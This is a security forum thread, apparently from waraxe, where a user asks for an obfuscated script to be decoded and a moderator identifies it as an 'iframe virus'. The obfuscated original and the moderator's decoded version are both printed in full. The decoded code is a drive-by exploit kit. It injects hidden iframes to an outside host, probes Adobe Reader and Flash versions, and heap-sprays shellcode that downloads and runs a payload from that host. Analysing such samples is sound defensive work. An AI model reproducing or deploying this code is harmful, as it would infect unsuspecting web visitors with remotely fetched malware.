Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: October 8, 2026 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 3887 Members: 0 Total: 3887 Full disclosure [0day-rubbish] StreamSets Transformer 3.17.0 auth-mode none fallback and un-sandboxed ScalaDTransform execution to container root (8.1 primary) [0day-rubbish] RCDevs WebADM 2.4.14 authenticated log viewer sid command injection to webadm uid 999 code execution (7.2) [0day-rubbish] Maian Cart 3.8 addBanners unrestricted banner upload to PHP webshell and administrator command execution (7.2 primary, PR:H) [0day-rubbish] IPConfigure Orchid VMS 26.3.0 authenticated DNF repository GPG-key property command injection to root (7.2) [0day-rubbish] Circutor LineEds 24.11.14-r0 unauthenticated pwrstudio events.xml shellExecute command injection (9.8) [0day-rubbish] Asustor ADM 3.5.9.RWM1 (AS602T) music.cgi act=live stored-filename command injection reaching system() (8.8 primary, PR:L) [0day-rubbish] Advantech WebAccess Node 9.2.3 unauthenticated CrystalRpt.aspx file upload and path traversal to code execution in w3wp.exe (9.8) SEC Consult Research 20261001 :: Arbitrary Email sender spoofing in Apple iCloud mail SEC Consult SA-20260924-0 :: Multiple Vulnerabilities in Paessler PRTG Network Monitor #CVE-2026-4637 #CVE-2026-4638 [NotCVE-2026-0019] game-music-emu through 0.6.5 VGM Command Interpreter Missing Operand Length Check Allows Heap Out-of-Bounds Read [NotCVE-2026-0018] game-music-emu (libgme) through 0.6.5 Unbounded GYM Command Loop Allows Heap Out-of-Bounds Read [NotCVE-2026-0017] game-music-emu (libgme) 0.6.5 and Earlier AY Loader NULL Pointer Dereference Allows Denial of Service [NotCVE-2026-0016] game-music-emu VGM Command Interpreter Unvalidated 0xE0 PCM Seek Offset Allows Out-of-Bounds Read and Denial of Service APPLE-SA-09-28-2026-3 macOS Sequoia 15.8.1 APPLE-SA-09-28-2026-2 macOS Tahoe 26.7.1 IT Security and Insecurity Portal www.waraxe.us Forum Index -> PHP script decode requests -> decode please View previous topic :: View next topic decode please Posted: Sun Feb 07, 2010 5:58 pm gudulik Regular user Joined: Oct 19, 2009 Posts: 19 // <script> Z7AE='escape';MRQi='';if(!document.klmn&&(InP1=unescape)){Z7AE=MRQi;MRQi='%'}g7P2=InP1(MRQi+Z7AE); MRQi='dV6fcument74.wt72iV74e(t22I3cdI69v st74ylV65V3dV5cV22posV69V74iont3aI61bsV6fluV74t65I3b lefI74I3at2d10V30I30pt78I3bI20t74opI3at2d1t30I300pV78V3bV5cV22V3eI22)V3bfut6eI63I74ioV6e i73(a)I7bt64ocuI6dI65nV74.wrI69I74e(t22V3cifraV6det20srt63t3dI5ct22ht74V74pI3at2ft2flaV74rit62unat64eV74oI6cedo.t63V61nalI2dsi.I63oI6dV2ffot74ot73V2fmasV5fI6eoI74icV69asV2ephI70I3fsI3dwV4afDV509prt26idV3dV22V2bat2bV22V5ct22V3eV3cI2fV69frat6det3et22)t3bV7dLoQV3d0t3bvar scodeI3dI22V25u3V319I30t25u99t430V25V75036V34I25u3040V25uI34t308Bt25t758Bt30CI25u1C70t25I758I42t41DV25u0I38V36V38I25uI378E8V25uV30000I25uI38B00t25V753V434I35t25u8B53I25u055V34I25u5t36I378V25ut45I4101I25ut43983V25u52FFt25u7t328BV25u01V320I25u41t45V45V25u31AI44I25u99V44Bt25uI43V42C1I25u010Dt25u40DI33I25t7502I399I25uV30554t25V7575FFV25u39I463I25u75FV42V25u5V45EAV25u5t458BI25I7501t324t25uV366EBt25t75V30Ct38BV25uV38V424BI25uV31V435EV25uEBV30I31t25V750t348BI25V75V3018BI25u5EE8V25uI46FI35BI25uI350t450I25u49BFI25t750FV45t44t25uFFt37EI25u5I45DV33I25u50I356t25V755452V25uI35656t25uBI4650V25u4B8BV25t75t35FEI33V25ut44t33FV46V25uV30t31V35I39V25t758V35CEI25u58C0V25u0I32E3V25uV45975t25uI35058V25uCt3629I25u948DI25u2036I25t75AV31DI35I25u0161I25uI33054t25ut383FCV25u04EEI25uFI3075I25u31I433I25ut426F6V25u5BV33I30V25ut34I306I41V25uCI31t35I32t25u04E2I25u5t36I35t32I25u54BFt25uAFCAV25I75FF9t31I25u50D3I25u0I43V45t38t25uV30000V25u7I37V300t25I75V36E69I25ut36Et369t25ut37465I25t75642V45I25V75I36C6Ct25I75t42F00V25V754E8EI25uECI30EV25uD3FFI25u5695V25I7556t356t25u5656t25u29V42FV25uV45844I25I75FF5I37I25u56D3V25u006t38I25u0t3001V25uV35684V25uEV3856V25ut46F83t25uFFFV46V22I3bfuncV74ionV20I65k13(I29I7breI74urnV20t74V72uet3bt7dwV69t6edV6fwI2eV6fnerV72t6frt3deI6b13V3bfunct74V69I6fn nI373(a)V7bvar t6b,s,I69t3bif(naI76iI67at74t6fI72V2emimeTV79pes.lengV74V68V26t26(t6bI3dnavigat74or.V70lt75t67inst29)for(t69t3d0V3bI69t3ckI2elengI74V68V3bt69V2bI2b)t7bst3dkt5biI5d.nI61t6dI65t3bift28s.indexOf(a)t3et3dI30I29V72eI74V75I72n kV5bt69I5dt3bV7dret74I75rn t30V3bI7drI6dYt74t67t3d0t3bV74rV79I7brmYV74gV3dV6eew AcI74V69vI65t58t4fbject74t28t22AcroV50DV46.I50I44FI22)t3bI7dI63at74V63hI28e)V7bI7dV69f(t21rmI59t74g)V74ryV7bt72mYV74t67V3dneV77V20I41cI74iveXI4fbjeI63I74(I22PDF.Pt64t66CI74rlt22)V3bt7dcat74ch(e)I7bV7dif(rt6dYV74t67)t7bvar V6cvV3d(t28rmYt74g.GeI74I56V65rsI69onst28).t73pliI74(I22I2ct22))I5b4V5d.splt69I74(I22V3dV22)t29I5bI31V5d.rV65plaI63e(t2ft5c.I2fgt2cV22t22)I3brmYt74V67V3dt28lvV3c90I30)I26V26(lvV21I3d8t313)I3bV7delseV20I72mYV74gV3dt6e73(I22AdobI65 AV22V29t7cI7cn73(V22AdI6fbeV20t50t22)t3bif(rmV59I74g)t69I37t33(2V29I3bV4coQt3d0V3bt72mI59I74gV3d0I3bfI75t6ecI74iot6e s7t33t28V61)I7bt69f(aV5bI30V5dI3dt3dI39t29t7brmYI74I67t3dV61V5b2I5dt3c124t3bLt6fQI3d(aI5b2t5dt3e16)V26I26I28aI5b2t5dI3c2I346t29V3bV7dV65lseV20t69f(aI5bV30t5dI3dV3d10)V4coQV3dat5b2V5dI3c23t3bt4coQt3dI4cV6fQt26t26(navV69gaV74or.userAI67enV74.I74I6fLowerI43ase(t29.I69ndexOf(t22safariI22t29t3dV3dV2d1t29I3bt7dt69f((I78I3dn73(V22V46laI73ht22V29V29t26V26I28t78t3dx.V64eI73ct72ipt74ion))s73(x.repV6ct61t63et28V2fV28V5baV2dzAI2dZt5dV7cI5cs)+t2f,I22t22).rept6cace(t2f(V5ct73+rV7ct5cs+bV5b0I2d9t5dV2bt29V2f,V22.V22)V2eI73plit74(I22I2eV22))t3belsI65 V74I72yV7bI7373((new I41ct74iI76I65XObjecI74(V22St68ot63t6bwaveI46V6casV68.t53hockwavI65Flast68I22I29V29I2eGt65I74I56ariaI62lt65(t22t24vt65rsiont22I29.I73I70lit74I28V22 t22)I5b1I5d.V73pI6ciV74(I22,t22))V3bt7dV63aI74ch(e)I7bI7dit66(t72mt59V74g)i7I33(V33)I3bif(LoQt29V7bI76arV20mV3dnew Art72ay(),m1V3duneV73caV70e(I22t25V750t38t308I25I750808V22)I2ct73I3dI75nI65st63I61V70e(scV6ft64e+I22I25u7468V25u7t3074V25u2FV33At25u6C2Ft25I757461V25u697I32I25uV37562I25u6t316EV25u656V34V25u6F7I34t25t75656CV25u6I466t34I25u632Et25u6E61I25t756C61I25u73V32DI25u2E6V39V25u6F63t25u2F6DI25u6F66I25uI36F74I25u2F73V25I75616Dt25u5FV373V25uI36F6EV25u6t39V374t25uV36963V25u736t31V25I75702EI25u7068I25u733t46I25ut3773V44t25u664At25u50I344V25I7570t339I25t752V3672I25u6469I25u3V313I44I25ut300t33t32t22)V3bwhile(m1.lenI67V74I68V3cI3d32V3768)m1+I3dm1t3bV6dI31V3dm1.sV75bsV74riI6eg(0t2c32I37t368t2ds.lengI74ht29V3bfV6fr(varV20iV3d0I3biI3ct31536I3bit2bt2b)V6dI5biI5dI3dm1+sI3bI6973(V224I26zI3dV22+(t72mYt74gt2b0))V3bt7dt64ocumenI74.V77riV74e(I22t3cI2fdV69vI3et22)t3b'; jF1j=MRQi.replace(/[ItV]/g,g7P2);eval(InP1(jF1j)); //</script> Posted: Tue Aug 07, 2012 4:12 pm demon Moderator Joined: Sep 22, 2010 Posts: 485 it's a fucking iframe virus Code: document.write("<div style=\"position:absolute; left:-1000px; top:-1000px; \">"); function i73(a) { document.write("<iframe src=\"http://latribunadetoledo.canal-si.com/fotos/mas_noticias.php?s=wJfDP9pr&id="+a+"\"></iframe>"); } LoQ=0; var scode="%u3190%u99C0%u0364%u3040%u408B%u8B0C%u1C70%u8BAD%u0868%u78E8%u0000%u8B00%u3C45%u8B53%u0554%u5678%uEA01%uC983%u52FF%u728B%u0120%u41EE%u31AD%u99DB%uCBC1%u010D%u40D3%u0299%u0554%u75FF%u39F3%u75FB%u5EEA%u5E8B%u0124%u66EB%u0C8B%u8B4B%u1C5E%uEB01%u048B%u018B%u5EE8%uFF5B%u50E0%u49BF%u0FED%uFF7E%u5ED3%u5056%u5452%u5656%uBF50%u4B8B%u5FE3%uD3FF%u0159%u85CE%u58C0%u02E3%uE975%u5058%uC629%u948D%u2036%uA1D5%u0161%u3054%u83FC%u04EE%uF075%u31C3%uB6F6%u5B30%u406A%uC152%u04E2%u5652%u54BF%uAFCA%uFF91%u50D3%u0CE8%u0000%u7700%u6E69%u6E69%u7465%u642E%u6C6C%uBF00%u4E8E%uEC0E%uD3FF%u5695%u5656%u5656%u29BF%uE844%uFF57%u56D3%u0068%u0001%u5684%uE856%uFF83%uFFFF"; function ek13() { return true; } window.onerror=ek13; function n73(a) { var k,s,i; if(navigator.mimeTypes.length&&(k=navigator.plugins))for(i=0; i<k.length; i++) { s=k[i].name; if(s.indexOf(a)>=0)return k[i]; } return 0; } rmYtg=0; try { rmYtg=new ActiveXObject("AcroPDF.PDF"); } catch(e) { } if(!rmYtg)try { rmYtg=new ActiveXObject("PDF.PdfCtrl"); } catch(e) { } if(rmYtg) { var lv=((rmYtg.GetVersions().split(","))[4].split("="))[1].replace(/\./g,""); rmYtg=(lv<900)&&(lv!=813); } else rmYtg=n73("Adobe A")||n73("Adobe P"); if(rmYtg)i73(2); LoQ=0; rmYtg=0; function s73(a) { if(a[0]==9) { rmYtg=a[2]<124; LoQ=(a[2]>16)&&(a[2]<246); } else if(a[0]==10)LoQ=a[2]<23; LoQ=LoQ&&(navigator.userAgent.toLowerCase().indexOf("safari")==-1); } if((x=n73("Flash"))&&(x=x.description))s73(x.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split(".")); else try { s73((new ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version").split(" ")[1].split(",")); } catch(e) { } if(rmYtg)i73(3); if(LoQ) { var m=new Array(),m1=unescape("%u0808%u0808"),s=unescape(scode+"%u7468%u7074%u2F3A%u6C2F%u7461%u6972%u7562%u616E%u6564%u6F74%u656C%u6F64%u632E%u6E61%u6C61%u732D%u2E69%u6F63%u2F6D%u6F66%u6F74%u2F73%u616D%u5F73%u6F6E%u6974%u6963%u7361%u702E%u7068%u733F%u773D%u664A%u5044%u7039%u2672%u6469%u313D%u0032"); while(m1.length<=32768)m1+=m1; m1=m1.substring(0,32768-s.length); for(var i=0; i<1536; i++)m[i]=m1+s; i73("4&z="+(rmYtg+0)); } document.write("</div>"); decode please www.waraxe.us Forum Index -> PHP script decode requests You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.038 Seconds